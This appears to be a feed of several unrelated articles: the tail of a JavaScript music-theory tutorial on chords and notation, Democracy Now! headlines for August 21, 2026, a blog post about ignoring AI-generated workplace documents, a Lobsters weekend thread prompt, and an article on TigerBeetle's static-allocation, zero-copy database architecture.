console.log("B is", 59, "and C is", 60, "- one semitone apart");

console.log("F is", 65, "and E is", 64, "- one semitone apart");

First, the note B sits in the V chord and is one semitone below the root of I . A note that close to a destination sounds like it is leaning on the door. Musicians call it the leading tone, and it is doing the same job as a cliffhanger.

Second, the dominant 7th chord contains both B and F, which are six semitones apart. Six semitones is the tritone, exactly half an octave: 2 ** (6/12) is the square root of two, the exact irrational ratio we heard earlier. The single most unstable interval available, sitting inside the chord, and both of its notes resolve by one semitone in opposite directions when you move to I . The tension is not a metaphor, it is a specific irrational ratio being replaced by simple ones.

The whole language of tension and release is built on that mechanism. Here it is with a few of the progressions you have heard ten thousand times:

Four progressions you already know

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, p) =>

p.reduce((n, s) => [...n, n.at(-1) + s], [root]);

const scale = build(60, [2, 2, 1, 2, 2, 2, 1]).slice(0, 7);

const chord = (degree) =>

[0, 2, 4].map((step) => {

const i = degree - 1 + step;

return scale[i % 7] + Math.floor(i / 7) * 12;

});

const progressions = {

"I V vi IV": [1, 5, 6, 4],

"ii V I": [2, 5, 1],

"I vi IV V": [1, 6, 4, 5],

"vi IV I V": [6, 4, 1, 5],

};

let when = 0;

Object.entries(progressions).forEach(([name, degrees]) => {

console.log(

name,

"->",

degrees.map((d) => chord(d).join("/")).join(" "),

);

degrees.forEach((d, i) => {

chord(d).forEach((n) => note(midiToFreq(n), when + i * 1.1, 1));

});

when += degrees.length * 1.1 + 0.9;

});

I V vi IV is the four chords that a genuinely alarming share of pop music is built from. ii V I is the backbone of jazz. vi IV I V is the same four chords as the first one, rotated to start somewhere sadder.

Edit the arrays. Almost any sequence of numbers from 1 to 7 will hang together, because every chord is built from the same seven notes. A key buys you a constrained space where wrong answers are hard to reach. Ending on 1 sounds finished, ending on 5 sounds like there is another line coming, and ending on 7 sounds like something has gone wrong.

Notation is a serialisation format

None of what came before needed a staff. Everything above is arrays of integers and a function that turns them into frequencies.

But notation exists, it is the format the entire literature of Western music is stored in, and once you already know what it is encoding it turns out to be a fairly sensible design with some very old constraints. It is a serialisation format, written before printing was cheap, optimised for a human reading it in real time while their hands are busy, and never revised because the install base was too large.

Here is the C major scale, the same seven integers as before:

MIDI 60 62 64 65 67 69 71 72

The vertical axis is pitch, but not linearly. Each line and each space is one step up the scale, so consecutive positions are sometimes two semitones apart and sometimes one. The axis is diatonic rather than chromatic: it steps through the scale rather than through all twelve notes, which means it is showing you scale degrees dressed up as pitches. That is why the major scale looks like a boring straight run up the page and sounds like the most natural sequence in the world. The format is optimised for the case it expects.

The clef declares the origin. A staff is five lines with nothing pinning it to any frequency, so the symbol at the front tells you where you are. The treble clef is a stylised G, and the curl of it wraps around the line that means G. The bass clef is a stylised F with two dots straddling the F line. It is a coordinate system with the origin marked in the margin:

Identical shape, bass clef, an octave lower

Same shape on the page, different origin, so it plays back an octave down. Two clefs cover the ranges people actually sing and play, which is why there are two and not twenty.

Accidentals patch the lossy encoding. Seven vertical positions per octave, twelve notes to represent. The sharp, flat and natural signs are the escape hatch, and every one of them is an instruction to shift the note the position would otherwise mean:

Eight of the twelve chromatic notes, with the sharps written in

The key signature is DRY. If a piece is in D major, its scale contains F sharp and C sharp, and every single F and C in the piece would need a sharp sign next to it. So instead you declare it once, at the front of every line, and it applies until something says otherwise. It is a constant hoisted to the top of the file:

D major: two sharps declared once, not eight times

Note that the two sharps are still being played, they are just not written on each note. This is also why sheet music tells you the key before you have played anything, and why musicians talk about a piece being "in" a key. The key is in the header, not the body.

Durations are powers of two. A whole note, a half note, a quarter, an eighth, a sixteenth. Each one is half the last, and the notation encodes the exponent visually: an empty notehead, then a stem, then a flag per halving. It is a unary encoding of a binary exponent, which is a very medieval way to store a number and impossible to misread at a glance:

One whole note, two halves, four quarters, eight eighths - all the same total length

Powers of two get you a long way but not everywhere, so there is one more operator: a dot after a notehead multiplies its length by 1.5. Two dots multiply by 1.75. It is a binary fraction, written as punctuation.

None of these durations are times, though. They are beats , and beats become seconds only when you fix a tempo:

Beats are not seconds until you say so

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const bpm = 120;

const beat = 60 / bpm;

// [midi note, length in beats]

const melody = [

[60, 1],

[62, 1],

[64, 2],

[65, 0.5],

[67, 0.5],

[69, 3],

];

let when = 0;

melody.forEach(([n, beats]) => {

note(midiToFreq(n), when, beats * beat * 0.95);

when += beats * beat;

});

console.log("total:", when.toFixed(2), "seconds at", bpm, "bpm");

Change bpm to 200 and the same array is the same tune, faster. That split is the reason a score is portable at all. It stores relative durations, and the performer supplies the clock.

The time signature groups the beats. 4/4 means four quarter-note beats per bar, 3/4 means three, and the vertical bar lines are there so your eye can find its place on a page. It is mostly a readability feature, but it also carries a real musical claim, which is that the first beat of each group is the strong one. Play the same six notes grouped in threes and grouped in twos and they become different pieces of music.

That is genuinely all of it. Pitch on a diatonic axis with an origin and an escape hatch, duration as negative powers of two, and a couple of header fields. Everything else on a page of sheet music is performance instructions layered on top: how loud, how smoothly, which finger.

Putting it together

Here is everything above in one place. A key, its diatonic chords, a progression, those chords broken into an arpeggio one note at a time, and a melody that sticks to the scale. About forty lines, no library, and it is the first thing I made with code that I would describe as music rather than as a demonstration:

A key, a progression, and a tune

const midiToFreq = (n) => 440 * 2 ** ((n - 69) / 12);

const build = (root, p) =>

p.reduce((n, s) => [...n, n.at(-1) + s], [root]);

const key = 57; // A

const scale = build(key, [2, 1, 2, 2, 1, 2, 2]).slice(0, 7); // natural minor

const bpm = 104;

const beat = 60 / bpm;

const chord = (degree) =>

[0, 2, 4].map((step) => {

const i = degree - 1 + step;

return scale[i % 7] + Math.floor(i / 7) * 12;

});

const progression = [1, 6, 3, 7];

const melody = [0, 2, 4, 2, 3, 2, 1, 0, 4, 3, 2, 1, 0, 2, 1, 0];

progression.forEach((degree, bar) => {

const at = bar * 4 * beat;

const notes = chord(degree);

// Bass note on the downbeat.

note(midiToFreq(notes[0] - 12), at, beat * 3.6, "triangle");

// Arpeggio: up, down, up, across the bar.

[0, 1, 2, 1, 0, 1, 2, 1].forEach((which, i) => {

note(midiToFreq(notes[which]), at + i * beat * 0.5, beat * 0.45);

});

// Melody, four notes per bar, always from the scale.

melody.slice(bar * 4, bar * 4 + 4).forEach((step, i) => {

note(

midiToFreq(scale[step % 7] + 12),

at + i * beat,

beat * 0.9,

"triangle",

);

});

});

Every number in there means something we derived. 57 is A because of the twelfth root of two and a tuning fork. [2,1,2,2,1,2,2] is the minor scale because it is the major scale rotated five places. [0,2,4] is a chord because harmonics overlap when notes are two scale degrees apart. [1,6,3,7] sounds like it goes somewhere because of where the tension sits.

Change the key to 60 and it moves. Change the scale pattern to [2,2,1,2,2,2,1] and the same tune turns cheerful. Change the melody array to anything at all and it will still fit, because it is indexing into the scale rather than choosing frequencies, and that constraint is doing all the work that theory is for.

What I still do not understand

Quite a lot. This article covers pitch and almost nothing else, and pitch may be the easy half.

Rhythm I have barely touched, and everything I have read suggests it is deeper than it looks. Voice leading, which is the business of moving between chords by the smallest possible distance rather than jumping around, is where written music starts sounding good rather than merely correct, and I can state the rule without hearing why it works. Why a melody wants to land where it lands is still mostly opaque to me. And the whole thing above is one tradition's answer. Plenty of music divides the octave differently, or does not treat the octave as the unit at all, and none of it is wrong.

But I no longer feel like I am being asked to memorise trivia. The twelve notes are a rounding error negotiated between the primes two and three. Scales are subsets chosen so the gaps are uneven enough to navigate by. Chords are the notes whose harmonics already agree. Keys are relative addressing. Notation is a serialisation format with a header. Every one of those is a normal engineering decision, made a long time ago, under constraints, and the reasons survive if you go looking.

If you want to go further, the two things that made me start writing this were Music Theory for Nerds by Eevee, which is a great read, and LightNote , which is the most beautiful thing on the internet about this subject. For the API side, MDN's Web Audio documentation is unusually good.

Every example on this page is plain JavaScript with no dependencies, so all of it runs anywhere with a browser engine. If you want to keep pulling on the thread, RunJS is a JavaScript playground where you can very easily experiment with code like this without needing to set anything up. It has the Web Audio API available out of the box. Paste any of the snippets above into it, add const ctx = new AudioContext() and const out = ctx.destination at the top, and carry on from there.

Headlines for August 21, 2026

Democracy Now!
www.democracynow.org
2026-08-21 08:00:00
U.S. Treasury to Sanction Iran and Its Trading Partners: “You Are Either With Us or Against Us”, USS Abraham Lincoln Heads for San Diego After Record Wartime Deployment, Houthis Clash with Yemeni Forces in Largest-Scale Fighting Since 2022 Truce, Sudan’s Humanitarian Catastrophe Gr...
Original Article

Headlines August 21, 2026

Watch Headlines

U.S. Treasury to Sanction Iran and Its Trading Partners: “You Are Either With Us or Against Us”

Aug 21, 2026

Image Credit: Daniel Torok

Treasury Secretary Scott Bessent said Thursday the U.S. will impose the toughest sanctions in history on Iran, after President Trump promised to wage “Economic Warfare and Isolation on an unprecedented scale.” Bessent told CNBC that U.S. economic pressure would eliminate the need for return to direct combat with Iran. He said tough new sanctions would “collapse” Iran’s government, and warned other nations could face severe economic penalties if they continue to trade with Iran.

Treasury Secretary Scott Bessent : “We are going to all of our allies, and this is going to be the greatest coordinated economic isolation in the history of the world. And we are going to them and saying, 'You are either with us or against us.'”
Iran’s Foreign Ministry condemned the threat of new sanctions as “illegal and inhumane.”

USS Abraham Lincoln Heads for San Diego After Record Wartime Deployment

Aug 21, 2026

The USS George Washington aircraft carrier has arrived in the Middle East to relieve the USS Abraham Lincoln, which has been plagued by low morale; faulty plumbing; poor-quality, rationed meals; and shortages of basic supplies. The Lincoln is reportedly heading home to San Diego after a record-setting deployment of more than 270 days at sea.

Houthis Clash with Yemeni Forces in Largest-Scale Fighting Since 2022 Truce

Aug 21, 2026

In Yemen, Houthi fighters and government forces have traded dozens of attacks, raising fears that Yemen is sliding back into full-scale civil war for the first time since a U.N.-brokered peace deal in 2022. Government forces claimed 81 attacks over 24 hours, while Houthi fighters said they’d successfully used drones to strike an airport and an oil facility in Saudi Arabia.

Sudan’s Humanitarian Catastrophe Grows as 200,000 Are Displaced by Fighting and Flooding

Aug 21, 2026

Image Credit: Médecins Sans Frontières (MSF)

Sudan’s humanitarian crisis is deepening as more than 200,000 people have been newly displaced across the Kordofan region due to intensifying attacks between the Sudanese army and paramilitary Rapid Support Forces. Drone strikes have targeted critical water and power infrastructure in the city of El Obeid. Mass floods in North Darfur have also compounded the displacement crisis with torrential rains damaging hundreds of homes.

“The People Want the Fall of the Regime”: Tunisian Protesters Demand Ouster of Kais Saied

Aug 21, 2026

In Tunisia, hundreds of protesters marched through the streets of the capital Tunis on Thursday calling for the ouster of authoritarian President Kais Saied, the release of jailed opposition activists and journalists, and the restoration of democracy. The protests come as Tunisia faces deteriorating public services, an affordability crisis and a shortage of some basic supplies and medicines. Many of the protesters chanted, “The people want the fall of the regime,” a popular refrain during the Arab Spring uprising that ousted longtime dictator Zine El Abidine Ben Ali in 2011.

Moataz Marzouki : “We have gone back to a state where people are afraid to speak the truth or to defend their rights. We fear differences of opinion. We fear debates and discussions. Personally, I say we have returned to the same concepts that existed during Ben Ali’s regime. It’s the exact same story. We’ve returned to the concept of people fearing the ruler, and we’ve gone back to many ideas that led absolutely nowhere.”

Human Rights Watch: Russian Mercenaries Led Massacre of Civilians in Mali Village Raid

Aug 21, 2026

In Mali, a Russian-controlled paramilitary force faces accusations that it carried out the summary execution of nine civilians, including four children, during a raid on a village in the central region of Mopti in July. According to Human Rights Watch, about 100 fighters with the Russia-backed Africa Corps, accompanied by several Malian soldiers, broke into homes, dragged people out and separated men and boys for beatings and interrogations. They reportedly killed six civilians who tried to flee, and detained and executed three others. Since 2021, Mali’s military junta has relied on Russian mercenaries in its fight against Islamist armed groups.

Armed Israeli Settlers Kill and Wound Palestinians During Raid on Village Near Hebron

Aug 21, 2026

In the occupied West Bank, large groups of armed Israeli settlers stormed Palestinian homes in the town of Sa’ir, northeast of Hebron, earlier today, killing a young Palestinian man and leaving a 70-year-old with serious gunshot wounds. Survivors say the settlers set fire to at least one home. Elsewhere, Israeli settlers set fire to a quarry in the South Hebron Hills overnight, causing severe damage to excavators, bulldozers and stone-cutting equipment. The United Nations reports attacks by Israeli settlers on Palestinians have reached an all-time high in 2026, with an average of more than six attacks per day, as the Israeli government continues to approve new illegal settlements. After headlines, we’ll go to the Palestinian village of Qusra to speak with Loui Ridi, a Palestinian American who flew to the occupied West Bank on Monday to help relatives defend the family home, which Israeli settlers have surrounded for more than a week.

Aisha Wahab Wins Special Election, Becoming First Afghan American U.S. Congressmember

Aug 21, 2026

Image Credit: X/@aishabbwahab

In California, progressive Democrat Aisha Wahab has won a special election to fill the congressional seat vacated by disgraced Representative Eric Swalwell, who quit amid sexual misconduct claims. In 2018, Wahab became the first Afghan American elected to public office in the U.S.; she’ll now be the first Afghan American U.S. congressmember, representing parts of the East San Francisco Bay until the new Congress begins in January. This is Aisha Wahab speaking to supporters on election night.

Rep.-elect Aisha Wahab : “We saw a lot of negative ads distorting our record” —

Supporter : “Shame!”

Rep.-elect Aisha Wahab : — “talking about us in a negative way, that we’re not good enough or we’re not American enough, and the fact that because I’m an Afghan American, because I’m a Muslim American, because I’m a woman of color, because I’m relatively young, that we don’t belong. And the voters of this district spoke out.”

Aisha Wahab won with 53% of the vote against Democrat Melissa Hernandez. Polls had shown Wahab with a double-digit lead in early August, before AIPAC , the American Israel Public Affairs Committee, poured over $6 million into negative ads and mailers targeting her. Meanwhile, AIPAC and its super PACs channeled at least $3 million to Hernandez’s campaign, according to Politico. They will face off again in November to decide who will represent the district in the 120th Congress beginning in January.

FBI Searches Eric Swalwell’s Home and Seizes Devices Amid Sexual Assault Investigations

Aug 21, 2026

FBI agents seized a cellphone and laptop from former Congressmember Eric Swalwell after he was stopped at the San Francisco airport Saturday. The following day, federal agents also searched Swalwell’s home in Washington, D.C., as part of a civil rights investigation into allegations of sexual assault. Swalwell is also facing probes by the Manhattan District Attorney’s Office and Los Angeles Sheriff’s Department. CNN reports at least four women who’ve accused Swalwell of serious sexual misconduct have been contacted by the FBI as part of that investigation.

Crypto, Gambling and AI Companies Drive Record Spending on U.S. Congressional Races

Aug 21, 2026

In more election news, Reuters reports a handful of billionaires and companies are driving record levels of spending on congressional contests ahead of November’s midterm elections, with crypto, gambling and artificial intelligence firms fueling a flood of campaign cash. So far, U.S. corporations have spent over a half a billion dollars on U.S. House and Senate races. That already exceeds the previous record of $461 million spent by corporations during the entire 2024 election cycle, and does not include millions of dollars in additional contributions made by “dark money” groups that hide the identities of their donors.

Trump Travels to South Carolina to Back Sen. Darline Graham Despite Disastrous Debate Performance

Aug 21, 2026

President Trump is in Myrtle Beach, South Carolina, today to support the campaign of Republican Senator Darline Graham, who was appointed to fill the vacancy left by the sudden death of her brother Lindsey Graham in July. Darline Graham faces Republican Congressmember Ralph Norman in a special Senate runoff on Tuesday. Critics have called Graham “dangerously unqualified” after her poor performance at a debate earlier this week.

Greta Van Susteren : “Senator, are Taiwan and the South China Sea national security issues for the United States? If so, why?”

Sen. Darline Graham : “I’m sorry. Could you repeat the question?”

Greta Van Susteren : “Are Taiwan and the South China Sea national security issues for the United States? And if so, why or how?”

Sen. Darline Graham : “I’m just going to be honest here: I’m not on national security that — I’m not that informed on national security, so — but I do support the military.”

“Third Country” Deportees from U.S. Arrive in Liberia

Aug 21, 2026

The Trump administration has deported 20 immigrants to Liberia as part of a new third-country agreement that will see the West African nation receive up to 1,200 immigrants — with no ties to Liberia — removed from the United States. The first group arrived at the Roberts International Airport outside the capital, Monrovia, on Thursday. As part of the deal, the U.S. has reportedly agreed to extend visitor visas for Liberians from 12 to 36 months, according to The Guardian, and pledged some $124 million in assistance. Immigrants deported to Liberia will include people from Latin America and the Caribbean.

In related news, The Atlanta Journal-Constitution reports ICE is seeking to deport an Iranian woman to the Central African Republic, a country to which she has no ties and which the U.S. State Department has deemed too unsafe for travel. She is currently detained at the Stewart ICE jail in Georgia.

ICE Detains San Diego Padres Minor League Coach Despite Pending Asylum Claim

Aug 21, 2026

In Texas, a minor league catching coordinator for the San Diego Padres was detained by ICE at an El Paso airport as he attempted to travel back home to Arizona. Oswaldo Pirela is originally from Venezuela and has a pending asylum claim and valid work authorization. Pirela lives in Phoenix with his wife and two U.S.-born daughters. He previously played for the Texas Rangers’ minor league team. His brother, Jorge Pirela, wrote on social media, “The people who have worked and lived alongside him can speak to his character, his work ethic, and the positive impact he has had on those around him.”

Rochester Resident’s First Amendment Lawsuit Accuses ICE Agents of Unlawful Intimidation

Aug 21, 2026

Image Credit: Jeffrey Carlson / Crimson Dawn Media

The Department of Homeland Security is defending harassment tactics deployed against people who’ve criticized the agency’s deadly crackdown on immigrants. That’s the claim at the center of a First Amendment lawsuit filed by David Streever, a U.S. citizen who was on a trip to Finland when two ICE agents showed up at his home in Rochester, New York, in June. The agents reportedly presented his wife with a “warning notice” due to an email Streever had sent months earlier to former ICE Acting Director Todd Lyons comparing him to a Nazi and calling him “a monstrous human being.”

NYT : U.S. Importing Dominican Sugar from Trump Ally Despite Evidence of Forced Labor

Aug 21, 2026

Image Credit: Sonia Moskowitz / Globe Photos

The New York Times is reporting that the owner of a major Dominican sugar producer accused of forced labor at one of its plantations has close ties to President Trump. Central Romana’s owner, José Fanjul, a Cuban American businessman known as Pepe, donated to Trump’s 2024 campaign and his White house ballroom. Just weeks after Trump returned to office, the Trump administration lifted a measure that had prevented the company from shipping its product to the U.S. On Tuesday, the Corporate Accountability Lab, an independent nonprofit, issued a report finding the company is still responsible for abusive conditions. The report found many of the plantation’s workers are of Haitian descent and face poverty wages, excessive overtime, and intimidation and threats from management.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

I'm Becoming AI-Blind

Hacker News
cymerys.com
2026-08-21 07:48:05
Comments...
Original Article

AI AI AI

Recently I've been catching myself having these little moments at work, when I'm trying to read a document someone has sent me and my brain somehow refuses to analyze it. It feels like I'm reading it, but I'm unable to focus on its content.

I end up getting dragged into an endless back and forth with the sender, asking questions about things that have been covered in what they've already sent me. It's rather concerning, because I've spent the last year trying to re-learn how to focus and these situations show the exact opposite.

I sat down to analyze these situations and realized they all have a common denominator: the documents all show a strong trace to AI.

For example:

A design document that looks like a copy-paste from Claude. While it does cover the design of the specific feature in question, it also carries a lot of Claude-specific analysis and lingo. "This cuts just through it", "The first gate is real".

or

A 20-page marketing concept deck that mixes up (a rather reasonable) marketing strategy with some nonsense product technical architecture gibberish. How does it pitch the idea? "It's not selling X, it's selling Y". "The Redis backbone redefines the product".

or

A technical requirements document that describes a rather simple concept in a very verbose way. The thing is, a lot of this document reads like someone's "internal" reasoning that's not fully sure about certain decisions. Sounds like an LLM to me.

There's an ongoing discussion of whether humans are good at recognizing AI-generated text. While most research claims that humans don't really do a good job there, I disagree. It's not that difficult, at least when we're talking about the low-effort results. Florian Roth wrote a pretty good summary of the common patterns in the context of social media .

I see a similar thing happening for work-related texts. Besides the obvious choice of words, the general flow of sentences and the attempt to pitch every small detail as a breakthrough quickly give it away. If your document describes the checkboxes in an RBAC configuration view for an enterprise application, don't sell it like you've just invented fire.

I feel like I've been "pre-trained" on all the AI-generated LinkedIn posts, emails and websites that are full of text but empty on meaning. My brain learned to quickly spot signs of AI-generated content, at least the content generated with low effort, and it now ignores it and moves on without thinking much about it.

I've heard some people comparing it to "banner blindness". It's not surprising. With the amount of content being pushed at us, filtering it out is how we need to stay sane.

What's fascinating to me, is that the same AI that was supposed to make me more productive, is what's now slowing me down in an unexpected way.


I don't usually go on vacation, but this year I really needed a break. One evening I was really hungry, walking past some restaurants on the Baltic coast. There was a single one I immediately ignored, but a minute later something in my head asked "Hey, did they really put up a photo of quiche with mold?" I walked back just to see this.

A menu photo of a quiche slice that looks like it's covered in mold

AI AI AI

What are you doing this weekend?

Lobsters
lobste.rs
2026-08-21 07:47:03
Feel free to tell what you plan on doing this weekend and even ask for help or feedback. Please keep in mind it’s more than OK to do nothing at all too!...
Original Article

Feel free to tell what you plan on doing this weekend and even ask for help or feedback.

Please keep in mind it’s more than OK to do nothing at all too!

TigerBeetle Core System Architecture: Deconstructing Performance Engineering

Hacker News
ixuvo.com
2026-08-21 07:43:38
Comments...
Original Article

Introduction

When evaluating high-performance database architectures, the conversation often centers on horizontal scaling, distributed partitioning, and query optimization. However, for mission-critical transactional systems like financial ledgers, the real bottleneck is rarely the network or the query planner; it is the operating system kernel, memory fragmentation, and unpredictable tail latency. TigerBeetle, a specialized financial ledger database written in Zig, challenges conventional database design by prioritizing extreme mechanical sympathy, static resource allocation, and custom zero-copy interfaces.

I have spent years analyzing distributed storage engines, and TigerBeetle’s architectural choices stand out as a masterclass in modern performance engineering. By rejecting dynamic memory allocation at runtime, bypassing the kernel cache via direct I/O, and leveraging a single-threaded execution loop backed by Viewstamped Replication (VSR), TigerBeetle achieves throughput rates exceeding hundreds of thousands of transactions per second with predictable, sub-millisecond tail latencies.

In this article, I will deconstruct the core architectural pillars of TigerBeetle. We will examine how static allocation eliminates runtime garbage collection and memory fragmentation, how custom zero-copy interfaces minimize CPU-to-memory bus overhead, and how Zig’s compile-time capabilities enforce strict safety guarantees without sacrificing raw hardware performance. My goal is to provide engineering leaders and systems architects with actionable insights into these low-level design patterns, enabling you to apply similar performance-engineering principles to your own high-throughput systems.

Static Allocation: Eliminating Runtime Memory Overhead

In traditional database systems, memory management is highly dynamic. As queries arrive, the database allocates memory for connection buffers, query plans, temporary sort buffers, and transaction state. While modern memory allocators like jemalloc or tcmalloc are highly optimized, they are not immune to thread contention, memory fragmentation, and unpredictable latency spikes during peak loads. In a financial ledger where a single delayed transaction can disrupt downstream payment pipelines, these latency spikes (often referred to as the "noisy neighbor" or "long tail" problem) are unacceptable.

TigerBeetle addresses this by completely eliminating dynamic memory allocation ( malloc , free , or their equivalents) after the initialization phase. When the TigerBeetle process starts, it calculates and allocates all the memory it will ever need for its lifetime. This includes memory for network buffers, storage cache, transaction logs, and consensus state machines. Once the initialization phase is complete, the allocator is effectively frozen, and the system runs entirely within pre-allocated, static arrays and ring buffers.

This design choice has profound implications for system predictability and reliability:

  1. Zero Memory Fragmentation: Because memory is never freed and reallocated at runtime, heap fragmentation is physically impossible. The system will never run out of memory (OOM) mid-transaction due to fragmented free lists.
  2. Deterministic Tail Latency: Without a memory manager searching for free blocks or running garbage collection cycles, execution paths remain highly deterministic. Every CPU cycle is dedicated to processing transactions, not managing memory metadata.
  3. Hardware-Level Predictability: Pre-allocated memory blocks can be aligned precisely to CPU cache lines (typically 64 bytes) and page boundaries (4KB or huge pages). This alignment minimizes translation lookaside buffer (TLB) misses and cache line bouncing.

To illustrate the difference between this static paradigm and traditional dynamic database architectures, consider the following structural comparison:

Architectural Attribute Traditional Dynamic Databases TigerBeetle Static Architecture
Memory Allocation Dynamic (runtime heap allocation) Static (pre-allocated at startup)
Tail Latency (p99.99) Variable (impacted by GC/fragmentation) Deterministic (sub-millisecond bounds)
I/O Path Buffered I/O via Kernel Page Cache Direct I/O ( O_DIRECT ) with io_uring
Concurrency Model Multi-threaded with locks/latches Single-threaded event loop (Disruptor pattern)
Data Layout Variable-length rows/documents Fixed-size structs (128-byte accounts/transfers)
Failure Domain Dynamic out-of-memory (OOM) risks Predictable compile-time/startup-time limits

However, static allocation is not a free lunch. It introduces a major engineering trade-off: rigidity. Because all buffers are fixed in size, you must define the maximum number of concurrent connections, the maximum batch size, and the maximum storage cache size at startup or compile time. If your workload exceeds these pre-defined limits, TigerBeetle will not dynamically scale its memory usage; instead, it will apply backpressure or reject incoming requests. I find this trade-off highly acceptable for financial systems, where predictability and safety are far more valuable than elastic, unpredictable scaling.

Custom Zero-Copy Interfaces and Kernel Bypass

Even with static memory allocation, a database can easily become bottlenecked by the operating system's I/O stack. In a standard database, writing a transaction to disk involves copying data from user-space buffers to kernel-space page caches, and eventually flushing those pages to physical storage. This process involves multiple system calls, context switches, and memory copies, all of which consume precious CPU cycles and memory bandwidth.

TigerBeetle bypasses these bottlenecks by implementing a custom, zero-copy I/O path. It achieves this by combining direct I/O ( O_DIRECT ) with Linux’s modern asynchronous I/O interface, io_uring .

When TigerBeetle receives a batch of transactions over the network, the data is read directly into a pre-allocated static buffer. This buffer is registered directly with io_uring . When it is time to persist these transactions to the write-ahead log (WAL) on disk, TigerBeetle submits an I/O request to io_uring pointing to the exact same memory address. The kernel's storage driver reads directly from this user-space memory block and writes it to the NVMe controller via Direct Memory Access (DMA), completely bypassing the OS page cache.

This zero-copy pipeline ensures that data is never copied between different memory locations as it moves from the network interface card (NIC), through the CPU, and down to the physical storage media.

A architectural diagram illustrating TigerBeetle's zero-copy data flow from the network interface card directly to the NVMe controller via io_uring and statically allocated buffers.

To make this zero-copy mechanism highly reliable and performant, TigerBeetle structures its core data entities—Accounts and Transfers—as fixed-size, 128-byte structs. This exact sizing is highly intentional. Because 128 bytes is a multiple of standard CPU cache lines (64 bytes) and sector sizes (typically 512 bytes or 4096 bytes), TigerBeetle can pack these structs perfectly into memory pages and disk sectors. There is no need for complex serialization or deserialization protocols like JSON, Protocol Buffers, or even custom binary encoders. The memory representation of an Account struct in Zig is identical to its on-disk representation. Persisting an account is as simple as passing its memory address directly to the disk controller.

Here is a conceptual implementation of how TigerBeetle leverages Zig’s type system to define these fixed-size structs and manage zero-copy batching safely without runtime allocations:

const std = @import("std");

/// A highly optimized, 128-byte representation of a financial account.
/// Explicit alignment ensures that arrays of this struct align perfectly with CPU cache lines.
pub const Account = struct {
    id: u128,
    user_data: u128,
    reserved: [48]u8, // Pad to ensure exact 128-byte size and future-proofing
    ledger: u32,
    code: u16,
    flags: u16,
    debits_pending: u64,
    debits_posted: u64,
    credits_pending: u64,
    credits_posted: u64,
};

/// A pre-allocated batch of accounts designed for zero-copy I/O operations.
pub const AccountBatch = struct {
    const MaxEvents = 8192;
    
    // Static array allocated at startup/compile-time
    items: [MaxEvents]Account align(4096),
    count: usize,

    pub fn init() AccountBatch {
        return .{
            .items = undefined, // Left uninitialized to avoid startup overhead; populated explicitly
            .count = 0,
        };
    }

    /// Returns a direct slice of the memory to be passed to io_uring or network sockets.
    /// This operation is completely zero-copy and carries zero runtime allocation cost.
    pub fn as_bytes(self: *anyopaque) []const u8 {
        const self_typed: *AccountBatch = @ptrCast(@alignCast(self));
        const total_size = self_typed.count * @sizeOf(Account);
        const byte_ptr: [*]const u8 = @ptrCast(&self_typed.items);
        return byte_ptr[0..total_size];
    }
};

This code demonstrates how Zig allows us to enforce memory alignment ( align(4096) ) at the type level. By aligning the static batch to a 4KB page boundary, we satisfy the strict alignment requirements of O_DIRECT and DMA transfers. The as_bytes function performs a safe, compile-time validated pointer cast that exposes the raw backing memory of our struct array as a byte slice, ready to be transmitted over the wire or written to disk with zero copies.

The Single-Threaded Execution Loop and VSR Consensus

Many modern databases attempt to maximize throughput by parallelizing transaction execution across multiple CPU cores using complex locking mechanisms, MVCC (Multi-Version Concurrency Control), or actor models. However, parallelizing transactional state updates—especially in financial ledgers where account balances must be strictly checked and updated sequentially—introduces severe lock contention, thread synchronization overhead, and the risk of deadlocks.

TigerBeetle bypasses these issues by adopting a single-threaded execution model for its core state machine, heavily inspired by the LMAX Disruptor pattern. All transaction validation, balance checks, and ledger updates are executed sequentially on a single, dedicated CPU thread.

While a single-threaded architecture might sound like a bottleneck, it is incredibly fast when freed from the overhead of thread context switching, mutex acquisition, and cache invalidation. Because only one thread ever modifies the ledger state, TigerBeetle does not need locks, semaphores, or complex concurrency controls. The execution thread can run at maximum CPU frequency, pulling batches of transactions from a lock-free ring buffer and processing them sequentially in L1/L2 cache.

To keep this single thread fully saturated with work, TigerBeetle relies on aggressive batching and a custom consensus protocol based on Viewstamped Replication (VSR).

Instead of processing transactions one by one, TigerBeetle groups them into large batches (e.g., up to 8,192 transfers per batch). The consensus layer replicates these batches across the network to follower nodes. Once a batch is committed by the consensus quorum, it is handed off to the single-threaded execution loop. The execution loop processes the entire batch in a single pass, updating the in-memory state and writing the results to the storage engine in a single, sequential disk write. This batching strategy transforms what would be thousands of small, random disk and network I/O operations into a single, highly efficient sequential operation, maximizing the physical throughput of NVMe drives and network interfaces.

Memory Layout, Cache Locality, and Zig's Type System

At the hardware level, the speed of your code is largely determined by how efficiently you utilize the CPU's cache hierarchy. A modern CPU can access registers in less than a nanosecond and L1 cache in about one nanosecond. However, accessing main memory (RAM) takes around 50 to 100 nanoseconds—an eternity in high-performance systems. If your database engine is constantly chasing pointers across the heap (a common occurrence in languages with heavy object references like Java, Go, or Python), the CPU will spend most of its time stalled, waiting for data to arrive from RAM.

TigerBeetle is designed to maximize cache locality by keeping data contiguous in memory. Because accounts and transfers are represented as flat, fixed-size structs packed tightly into contiguous static arrays, the CPU's hardware prefetcher can easily predict memory access patterns. When the execution loop processes a batch of transfers, the CPU pre-fetches subsequent transfers into the L1/L2 cache before the execution thread even requests them, virtually eliminating CPU stalls.

Zig’s type system is uniquely suited for this style of performance engineering. Unlike C++, which allows implicit memory allocations and complex copy constructors, Zig enforces explicit control over every byte of memory. There is no hidden control flow, no implicit type coercion that could trigger a copy, and no runtime overhead from a virtual method table (vtable) unless explicitly designed.

Furthermore, Zig's compile-time execution engine ( comptime ) allows TigerBeetle to perform extensive validation of data structures, alignments, and system configurations at compile time rather than runtime. For example, TigerBeetle uses comptime to verify that the size of its storage blocks is a perfect multiple of the disk sector size, and that all critical structs are aligned to cache line boundaries. If an architectural change violates these performance-critical constraints, the build will fail immediately, preventing performance regressions from ever reaching production.

Conclusion

TigerBeetle’s core system architecture demonstrates that extreme performance is not achieved by adding complexity, but by systematically removing it. By rejecting dynamic memory allocation, bypassing the OS kernel with zero-copy direct I/O, and utilizing a single-threaded execution loop, TigerBeetle aligns its software architecture perfectly with the physical realities of modern hardware.

